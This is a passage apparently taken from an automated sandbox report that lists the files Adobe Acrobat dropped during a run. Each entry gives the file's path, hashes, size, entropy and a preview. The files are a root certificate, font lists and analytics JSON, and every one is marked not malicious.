SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklaADG+M/tfllXlE/HT8k+11NNX8RolJuRdxLlGB9lQRYwpDdt:kKDADGDeT8l7NMa8RdWBwRd
MD5:	5F651291A66D1E4D7219F673D3A6310B
SHA1:	A9BED459DEB1B6ABEB200A58E6C4D1C3B5639879
SHA-256:	0FB3EC0821A1D7531E51E072C4C0DAC39AD3AF9F8BF3D00239FD92F26263CEF4
SHA-512:	1BCC0AE41E11DB53152EBB364FE69B6BB9C8FA46D114502B76702ED961EECA53E0776E827BEB00D23A70E6CF27E3AA359AFCD13EA960D51A2849C814FA0F776A
Malicious:	false
Preview:	p...... ........i....c..(....................................................... ..........W....[^..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6212

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6212

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363189893916535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJM3g98kUwPeUkwRe9:YvXKX/NrnWZc0vrdGMbLUkee9
MD5:	9E2E9EABD3CA4462DECE227E804E3466
SHA1:	EFCDD29DDC1EE3E6E221C49F5F77C1EE57389437
SHA-256:	58BEF4B7DA53BEF0DA0E20456D1B62F1A6C5E9AC37300E28EE94E1C6AED33CF0
SHA-512:	732C4A4D198D524EE7D0E4DCA2F1A7EFDC53B95C7536DE3A8592B4A2CD3514A2CE41B4423E03D0563E0B5FAA9134FDAADC2DA10F10FA5B1CBE28222334271033
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311387369017575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfBoTfXpnrPeUkwRe9:YvXKX/NrnWZc0vrdGWTfXcUkee9
MD5:	66F9FAD980EE5201DB1D11FB7C2801A6
SHA1:	D76A005F5F04D66DD0B7E79585638811FF08DBDE
SHA-256:	72B8D73C6B64C4644049175E5F8924601B411A34A824F2F548971B79C034D6A2
SHA-512:	8BC56A4F5F2B00CBEA60517BE04AD962BA591EA68379BB4F2227BB0CD1F20054E8E7FF93AF882E6FE5945686C2572E73124A7C37D037A6908EE71B1E101FC42F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290712291856168
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfBD2G6UpnrPeUkwRe9:YvXKX/NrnWZc0vrdGR22cUkee9
MD5:	2597620F7858C6C54771E2FBEE8B75AE
SHA1:	CD31CD7FB1A463EB88B52E762D99BAD8E31A2605
SHA-256:	9762DB1205518B6560B38DD7FA4DED403A0B2EAD97F1FE2D063EA02FEFBE4C30
SHA-512:	8970D997F648603C553C2BE86EF549879987F000C2A2BD2AD67B1F28A09E49335639D8607D621195D83C20727BA2F96F1E8559DA12E2B9FDF44F39C33DC981FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.350194312659039
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfPmwrPeUkwRe9:YvXKX/NrnWZc0vrdGH56Ukee9
MD5:	28B1FF5BE3A62DE025BBFDCFF951ED34
SHA1:	FDA7A01E418792ED14567FADFA9E8789CA387CEA
SHA-256:	44F42995ABCF3B53437C9A3CBB22DC81B1BDBB89CFA1CDA98D1E780FA67AB81D
SHA-512:	FC9E2D496FD5A225427FB43C181F53E7C176816928304CE12A6D51A12D635F3904C4074D2D50AC7F2CAE59FCAD6D680F9CED54CB0B226E81097DE5E4008FAA9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6838352711433044
Encrypted:	false
SSDEEP:	24:Yv6XVLWzvripLgE9cQx8LennAvzBvkn0RCmK8czOCCSUX:YvKy2hgy6SAFv5Ah8cv/e
MD5:	C53223745865B6A16E30073A437DDCB9
SHA1:	FD0045C55C0070B561561F2CE419B2BA9D61ADA0
SHA-256:	B49FBF30BCB816D9EBE79D4AC507DC67DD6D7CEF5DE8E4324D88BDA42E933EB8
SHA-512:	11BDEF815606231978DB8D39046FC08B5676E890C9C524D71C857724F90E3207FAD3CDC73271CB2057AA3417C108AC3E4F109A9299FC4CB7D2E585B32A2CEF72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293617454145733
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJf8dPeUkwRe9:YvXKX/NrnWZc0vrdGU8Ukee9
MD5:	3AC112AE56D429D471508B89A4D15D43
SHA1:	53A838B7992479AAF9861E11481CEC1A003CCC37
SHA-256:	9C3D96E4C831216001BF598DA9FBB7E0C919D97D8D1BD522C6F32411BF6F8145
SHA-512:	80ECE0FC8B77E68A2966E59ED3F2DD7BF945373B55BE87EA71C68C2D2604A55032F7428F53F4F54C5C0E960F920B14C18ACF415249D72B47B6E817C356A5FBE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.296163114104752
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfQ1rPeUkwRe9:YvXKX/NrnWZc0vrdGY16Ukee9
MD5:	A2468E91E9082937A236D21FB68D251E
SHA1:	1E9AFC0BF13996724E4CC900EE362D93687636CB
SHA-256:	FA198BB1A906033D0D34D3FED9D8C37C22F760C2541D0F17BABB82263CF5CB9F
SHA-512:	3C4242A310F5056E4B81069BD55DA65AF3047ED7C3EC75121FC62D882E090353E58D76B025E5BA2645B431F4799FA49A53B9024879CF751FC89A8ED1A5E1E785
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302084638825337
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfFldPeUkwRe9:YvXKX/NrnWZc0vrdGz8Ukee9
MD5:	F43474E0D0C4ABA9D0F3E3A696621755
SHA1:	5C8989745E86FB06768CE32C3B34845DF7D67607
SHA-256:	20AE238248C14E59B0D849BAB48522AB7DE46BBC7E9E3FE6AABDE488409CB91A
SHA-512:	014D0A7DB5116F13402CF5FE56709D80735209067383BB19BAC19B6AD07976003D8380940487BCC0A4679F0AEE027FB67C6598E79743923B3181A8ACFEC64D84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319086133855979
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfzdPeUkwRe9:YvXKX/NrnWZc0vrdGb8Ukee9
MD5:	89DD3201C6D494A6342EC8A380D4A129
SHA1:	C843721AF9513714BC9E5DFDF4841115DE04D788
SHA-256:	9B8E142ACB3F41E73994C01712EB2136D3A39BD303B55240401581ED721306F1
SHA-512:	44006121556FB7FC96B7814F174FBA1DB8CC27388B1D43CF28521BE723D6BD37CCCA69C16EC6A06D5B9732724CB93455071EBE422E3D7981664C8E68289A3D0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299118092611641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfYdPeUkwRe9:YvXKX/NrnWZc0vrdGg8Ukee9
MD5:	2367B43800B2A6AE110F2CD085F86EED
SHA1:	0FD5A125327BD7E776F0287AFAF0DA0BE5330793
SHA-256:	477319C73FD1B92DDFFDBDD5E6805F8F5FD96839BA683F7400F4B395D3D4FA3A
SHA-512:	B7597C38CA6986E9AF948CFBDEB9751F02556CB33A5AEB6046AFC44680BFFD4B49FE042ACAF6A56F79F42E92DBABFFF6D33068B253B193D8CB4F3353AE4D1341
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.286255881428913
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJf+dPeUkwRe9:YvXKX/NrnWZc0vrdG28Ukee9
MD5:	D82E960BDD99B189917B32C9FC619872
SHA1:	858A6076E23B12A3ED1715D9BFD967AF65D2C64E
SHA-256:	581082603C4A5CA8C9BF35CE97EE81306D055B4A7EA9E1BF1B73B2385B4603ED
SHA-512:	3C8B1F394EA32AAED4597BA684F81B65E4388135DCEED50434BB783AE022E604DE48BD36A6DAF3948F5F4091AB428AFF597D8E0B1654DC2AFA7FE5ECC44C3EE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.282671251504668
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfbPtdPeUkwRe9:YvXKX/NrnWZc0vrdGDV8Ukee9
MD5:	F26DC07826E21A7B61B6E96A6B4B8EEB
SHA1:	3FFF98B819DF3DD06789EA05D06866FC31FE5717
SHA-256:	86BC6661C1A30B02F88031331B03739BD8A0E34037B6D98911D6C561A2D32797
SHA-512:	1270BEEE0DC9B069840FABB092D798D8D9A0A0536816F76A409C27725C25CB2C9219CF699197D93AEA340F2E00AF004C9E9B6A91A68788797C12EE96DA6E1F73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

